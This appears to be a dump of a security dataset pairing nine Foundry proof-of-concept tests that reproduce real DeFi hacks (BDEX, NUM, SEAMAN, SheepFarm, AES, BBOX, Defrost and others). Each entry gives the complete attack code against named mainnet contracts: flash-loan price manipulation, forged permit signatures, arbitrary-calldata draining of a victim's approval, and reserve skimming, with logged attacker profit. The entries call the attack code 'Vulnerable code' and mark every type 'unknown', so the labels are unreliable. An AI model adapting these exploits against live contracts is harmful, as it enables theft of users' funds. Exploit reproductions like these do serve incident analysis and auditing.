Farseen0/scar-pairs huggingface dataset:
HIGH severity: BDEX exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BeosinAlert/status/1588579143830343683 TX https://bscscan.com/tx/0xe7b7c974e51d8bca3617f927f86bf907a25991fe654f457991cbf656b190fe94

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BeosinAlert/status/1588579143830343683
// TX
// https://bscscan.com/tx/0xe7b7c974e51d8bca3617f927f86bf907a25991fe654f457991cbf656b190fe94

interface BvaultsStrategy {
    function convertDustToEarned() external;
}

interface BPair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 BDEX = IERC20(0x7E0F01918D92b2750bbb18fcebeEDD5B94ebB867);
    BvaultsStrategy vaultsStrategy = BvaultsStrategy(0xB2B1DC3204ee8899d6575F419e72B53E370F6B20);
    BPair Pair = BPair(0x5587ba40B8B1cE090d1a61b293640a7D86Fc4c2D);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        // the ankr rpc maybe dont work , please use QuickNode
        cheats.createSelectFork("bsc", 22_629_431);
    }

    function testExploit() public {
        address(WBNB).call{value: 34 ether}("");
        uint256 amountin = WBNB.balanceOf(address(this));
        WBNB.transfer(address(Pair), amountin);
        (uint256 BDEXReserve, uint256 WBNBReserve,) = Pair.getReserves();
        uint256 amountout = (998 * amountin * BDEXReserve) / (1000 * WBNBReserve + 998 * amountin);
        Pair.swap(amountout, 0, address(this), "");
        vaultsStrategy.convertDustToEarned();
        uint256 amountBDEX = BDEX.balanceOf(address(this));
        BDEX.transfer(address(Pair), amountBDEX);
        (uint256 BDEXReserve1, uint256 WBNBReserve1,) = Pair.getReserves();
        uint256 amountWBNB = (998 * amountBDEX * WBNBReserve1) / (1000 * BDEXReserve1 + 998 * amountBDEX);
        Pair.swap(0, amountWBNB, address(this), "");
        address(WBNB).call(abi.encodeWithSignature("withdraw(uint256)", 34 * 1e18));

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: MEV_0ad8 exploit (unknown). SPDX-License-Identifier: UNLICENSED Attacker: 0xae39a6c2379bef53334ea968f4c711c8cf3898b6 Vulnerable Contract: 0x0ad8229d4bc84135786ae752b9a9d53392a8afd4 Attack Tx: https://phalcon.blocksec.com/tx/eth/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0 https://etherscan.io/tx/0x674f74b

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

// Attacker: 0xae39a6c2379bef53334ea968f4c711c8cf3898b6
// Vulnerable Contract: 0x0ad8229d4bc84135786ae752b9a9d53392a8afd4
// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0
//            https://etherscan.io/tx/0x674f74b30a3d7bdf15fa60a7c29d96a402ea894a055f624164a8009df98386a0

// @Analysis
// https://twitter.com/Supremacy_CA/status/1590337718755954690

contract Exploit is Test {
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    address private constant vulnerableContract = 0x0AD8229D4bC84135786AE752B9A9D53392A8afd4;
    address private constant attacker = 0xAE39A6c2379BEF53334EA968F4c711c8CF3898b6;
    address private constant victim = 0x211B6a1137BF539B2750e02b9E525CF5757A35aE;

    function testHack() external {
        vm.createSelectFork("mainnet", 15_926_096);

        // use these tools to decode raw calldata: https://www.ethcmd.com/tools/decode-calldata/  +  https://calldata-decoder.apoorv.xyz/
        bytes memory payload = abi.encodeWithSelector(
            0x090f88ca,
            address(USDC),
            address(WETH),
            0, // ?
            1, // ?
            abi.encodeWithSelector(IERC20.transferFrom.selector, victim, attacker, USDC.balanceOf(victim))
        );

        vulnerableContract.call(payload);

        console.log("Attacker's profit: %s USDC", USDC.balanceOf(attacker) / 1e6);
    }
}

/* -------------------- Interface -------------------- */
interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(
        address account
    ) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function deliver(
        uint256 tAmount
    ) external;
}

interface WETH9 {
    function deposit() external payable;
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address guy, uint256 wad) external returns (bool);
    function withdraw(
        uint256 wad
    ) external;
    function balanceOf(
        address
    ) external view returns (uint256);
}


Vulnerability type: unknown
HIGH severity: NUM exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1595346020237352960 @TX https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1595346020237352960
// @TX
// https://etherscan.io/tx/0x8a8145ab28b5d2a2e61d74c02c12350731f479b3175893de2014124f998bff32

interface MultichainRouter {
    function anySwapOutUnderlyingWithPermit(
        address from,
        address token,
        address to,
        uint256 amount,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s,
        uint256 toChainID
    ) external;
}

contract ContractTest is Test {
    IERC20 NUM = IERC20(0x3496B523e5C00a4b4150D6721320CdDb234c3079);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    MultichainRouter multichainRouter = MultichainRouter(0x765277EebeCA2e31912C9946eAe1021199B39C61);
    Uni_Router_V3 Router = Uni_Router_V3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);
    address victimAddress = 0x78AC2624a2Cd193E8dEfE9F39A9528e8bd4a368c;
    uint256 NUMBalance;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_029_969);
    }

    function testExploit() external {
        NUMBalance = NUM.balanceOf(victimAddress);
        uint8 v = 0;
        bytes32 r = 0x3078000000000000000000000000000000000000000000000000000000000000;
        bytes32 s = 0x3078000000000000000000000000000000000000000000000000000000000000;
        multichainRouter.anySwapOutUnderlyingWithPermit(
            victimAddress, address(this), address(this), NUMBalance, block.timestamp + 60, v, r, s, 12
        );
        NUM.approve(address(Router), type(uint256).max);
        WETH.approve(address(Router), type(uint256).max);
        NUM.transfer(address(Router), NUM.balanceOf(address(this)));
        address[] memory path = new address[](2);
        path[0] = address(NUM);
        path[1] = address(USDC);
        Router.swapExactTokensForTokens(0, 0, path, address(this));

        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);
    }

    function underlying() external returns (address) {
        return address(NUM);
    }

    function depositVault(uint256 amount, address to) external returns (uint256) {
        return NUMBalance;
    }

    function burn(address from, uint256 amount) external returns (bool) {
        return true;
    }
}


Vulnerability type: unknown
HIGH severity: SEAMAN exploit (unknown). SPDX-License-Identifier: MIT @Analysis https://twitter.com/peckshield/status/1597493955939405825 https://twitter.com/CertiKAlert/status/1597513374841044993 https://twitter.com/BeosinAlert/status/1597535796621631489 @TX https://bscscan.com/tx/0x6f1af27d08b10caa7e96ec3d580bf39e29fd5ece00abda7d89557154

Vulnerable code:
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1597493955939405825
// https://twitter.com/CertiKAlert/status/1597513374841044993
// https://twitter.com/BeosinAlert/status/1597535796621631489
// @TX
// https://bscscan.com/tx/0x6f1af27d08b10caa7e96ec3d580bf39e29fd5ece00abda7d8955715403bf34a8

contract ContractTest is Test {
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 SEAMAN = IERC20(0x6bc9b4976ba6f8C9574326375204eE469993D038);
    IERC20 GVC = IERC20(0xDB95FBc5532eEb43DeEd56c8dc050c930e31017e);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
    address Pair = 0x6637914482670f91F43025802b6755F27050b0a6;

    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheat.createSelectFork("bsc", 23_467_515);
    }

    function testExploit() public {
        DVM(dodo).flashLoan(0, 800_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        USDT.approve(address(Router), type(uint256).max);
        USDTToSEAMAN();
        USDTToGVC();
        for (uint256 i = 0; i < 20; i++) {
            SEAMAN.transfer(Pair, 1);
        }
        GVCToUSDT();
        USDT.transfer(dodo, 800_000 * 1e18);
    }

    function USDTToSEAMAN() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(SEAMAN);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 * 1e9, 0, path, address(this), block.timestamp);
    }

    function USDTToGVC() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(GVC);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            500_000 * 1e18, 0, path, address(this), block.timestamp
        );
    }

    function GVCToUSDT() internal {
        GVC.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(GVC);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            GVC.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: SheepFarm2 exploit (unknown). SPDX-License-Identifier: UNLICENSED Attack reason: Wrong function logic Info about attack: https://twitter.com/BlockSecTeam/status/1592734292727455744 Tx: https://bscscan.com/tx/0x8b3e0e3ea04829f941ca24c85032c3b4aeb1f8b1b278262901c2c5847dc72f1c

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// Attack reason: Wrong function logic
// Info about attack: https://twitter.com/BlockSecTeam/status/1592734292727455744
// Tx: https://bscscan.com/tx/0x8b3e0e3ea04829f941ca24c85032c3b4aeb1f8b1b278262901c2c5847dc72f1c

interface ISheepFarm {
    function register(
        address neighbor
    ) external;

    function addGems() external payable;

    function upgradeVillage(
        uint256 farmId
    ) external;

    function sellVillage() external;

    function withdrawMoney(
        uint256 wool
    ) external;
}

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_089_184);
    }

    function testExploit() public {
        uint256 beforeBalance = address(this).balance;

        for (uint256 i; i < 4; ++i) {
            new AttackContract{value: 5e14}();
        }

        uint256 afterBalance = address(this).balance;

        emit log_named_decimal_uint(
            "SheepFarm exploiter profit after attack (in BNB):", afterBalance - beforeBalance, 18
        );
    }

    receive() external payable {}
}

contract AttackContract {
    ISheepFarm public constant Farm = ISheepFarm(0x4726010da871f4b57b5031E3EA48Bde961F122aA);
    address public constant neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;

    constructor() payable {
        for (uint256 i; i < 402; ++i) {
            Farm.register(neighbor);
        }

        Farm.addGems{value: 5e14}();

        for (uint256 i; i < 5; ++i) {
            Farm.upgradeVillage(i);
        }

        Farm.sellVillage();

        Farm.withdrawMoney(156_000);

        selfdestruct(payable(msg.sender));
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: SheepFarm exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/AnciliaInc/status/1592658104394473472 https://twitter.com/BlockSecTeam/status/1592734292727455744 @Tx https://bscscan.com/tx/0x5735026e5de6d1968ab5baef0cc436cc0a3f4de4ab735335c5b1bd31fa60c582

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/AnciliaInc/status/1592658104394473472
// https://twitter.com/BlockSecTeam/status/1592734292727455744
// @Tx
// https://bscscan.com/tx/0x5735026e5de6d1968ab5baef0cc436cc0a3f4de4ab735335c5b1bd31fa60c582

interface SheepFram {
    function register(
        address neighbor
    ) external;
    function addGems() external payable;
    function upgradeVillage(
        uint256 framId
    ) external;
    function withdrawMoney(
        uint256 wool
    ) external;
    function sellVillage() external;
}

contract ContractTest is Test {
    SheepFram sheepFram = SheepFram(0x4726010da871f4b57b5031E3EA48Bde961F122aA);
    address neighbor = 0x14598f3a9f3042097486DC58C65780Daf3e3acFB;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_088_156);
    }

    function testExploit() public payable {
        for (uint8 i = 0; i < 200; i++) {
            sheepFram.register(neighbor);
        }
        sheepFram.addGems{value: 5 * 1e14}();
        for (uint8 i = 0; i < 3; i++) {
            sheepFram.upgradeVillage(i);
        }
        sheepFram.sellVillage();
        uint256 BalanceBefore = address(this).balance;
        sheepFram.withdrawMoney(20_000);
        uint256 BalanceAfter = address(this).balance;

        emit log_named_decimal_uint("Attacker BNB profit after exploit", (BalanceAfter - BalanceBefore), 18);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: AES exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1600442137811689473 https://twitter.com/peckshield/status/1600418002163625984 @TX https://bscscan.com/tx/0xca4d0d24aa448329b7d4eb81be653224a59e7b081fc7a1c9aad59c5a38d0ae19

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1600442137811689473
// https://twitter.com/peckshield/status/1600418002163625984
// @TX
// https://bscscan.com/tx/0xca4d0d24aa448329b7d4eb81be653224a59e7b081fc7a1c9aad59c5a38d0ae19

interface IAES is IERC20 {
    function distributeFee() external;
}

contract ContractTest is Test {
    IAES AES = IAES(0xdDc0CFF76bcC0ee14c3e73aF630C029fe020F907);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x40eD17221b3B2D8455F4F1a05CAc6b77c5f707e3);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_695_904);
    }

    function testExploit() public {
        USDT.approve(address(Router), type(uint256).max);
        AES.approve(address(Router), type(uint256).max);
        DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        USDTToAES();
        AES.transfer(address(Pair), AES.balanceOf(address(this)) / 2);
        for (uint256 i = 0; i < 37; i++) {
            Pair.skim(address(Pair));
        }
        Pair.skim(address(this));
        AES.distributeFee();
        Pair.sync();
        AESToUSDT();
        USDT.transfer(dodo, 100_000 * 1e18);
    }

    function USDTToAES() internal {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(AES);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            100_000 * 1e18, 0, path, address(this), block.timestamp
        );
    }

    function AESToUSDT() internal {
        address[] memory path = new address[](2);
        path[0] = address(AES);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            AES.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: BBOX exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/AnciliaInc/status/1599599614490877952 @TX https://bscscan.com/tx/0xac57c78881a7c00dfbac0563e21b5ae3a8e3f9d1b07198a27313722a166cc0a3

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/AnciliaInc/status/1599599614490877952
// @TX
// https://bscscan.com/tx/0xac57c78881a7c00dfbac0563e21b5ae3a8e3f9d1b07198a27313722a166cc0a3

contract ContractTest is Test {
    IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    uint256 flashLoanAmount;
    address contractAddress;
    address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_106_506);
    }

    function testExploit() public {
        WBNB.approve(address(Router), type(uint256).max);
        BBOX.approve(address(Router), type(uint256).max);
        TransferBBOXHelp transferHelp = new TransferBBOXHelp(); // sell time limit
        contractAddress = address(transferHelp);
        flashLoanAmount = WBNB.balanceOf(dodo);
        DVM(dodo).flashLoan(flashLoanAmount, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {
        WBNBToBBOX();
        contractAddress.call(abi.encodeWithSignature("transferBBOX()"));
        BBOXToWBNB();
        WBNB.transfer(dodo, flashLoanAmount);
    }

    function WBNBToBBOX() internal {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(BBOX);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            1300 * 1e18, 0, path, contractAddress, block.timestamp
        );
    }

    function BBOXToWBNB() internal {
        address[] memory path = new address[](2);
        path[0] = address(BBOX);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            BBOX.balanceOf(address(this)) * 90 / 100, 0, path, address(this), block.timestamp
        );
    }
}

contract TransferBBOXHelp {
    IERC20 BBOX = IERC20(0x5DfC7f3EbBB9Cbfe89bc3FB70f750Ee229a59F8c);

    function transferBBOX() external {
        BBOX.transfer(msg.sender, BBOX.balanceOf(address(this)));
    }
}


Vulnerability type: unknown
HIGH severity: Defrost exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/PeckShieldAlert/status/1606276020276891650 @TX https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/PeckShieldAlert/status/1606276020276891650
// @TX
// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d

interface LSWUSDC {
    function maxFlashLoan(
        address token
    ) external view returns (uint256);
    function flashFee(address token, uint256 amount) external view returns (uint256);
    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
    function deposit(uint256 amount, address to) external returns (uint256);
    function redeem(uint256 shares, address receiver, address owner) external;
}

contract ContractTest is Test {
    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
    LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
    uint256 flashLoanAmount;
    uint256 flashLoanFee;
    uint256 depositAmount;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("avalanche", 24_003_940);
    }

    function testExploit() public {
        flashLoanAmount = LSW.maxFlashLoan(address(USDC));
        flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);
        Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker USDC balance after exploit", USDC.balanceOf(address(this)), 6);
    }

    function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
        LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));
        LSW.redeem(depositAmount, address(this), address(this));
        USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee) * 1000 / 997 + 1000);
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        USDC.approve(address(LSW), type(uint256).max);
        depositAmount = LSW.deposit(flashLoanAmount, address(this));
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}


Vulnerability type: unknown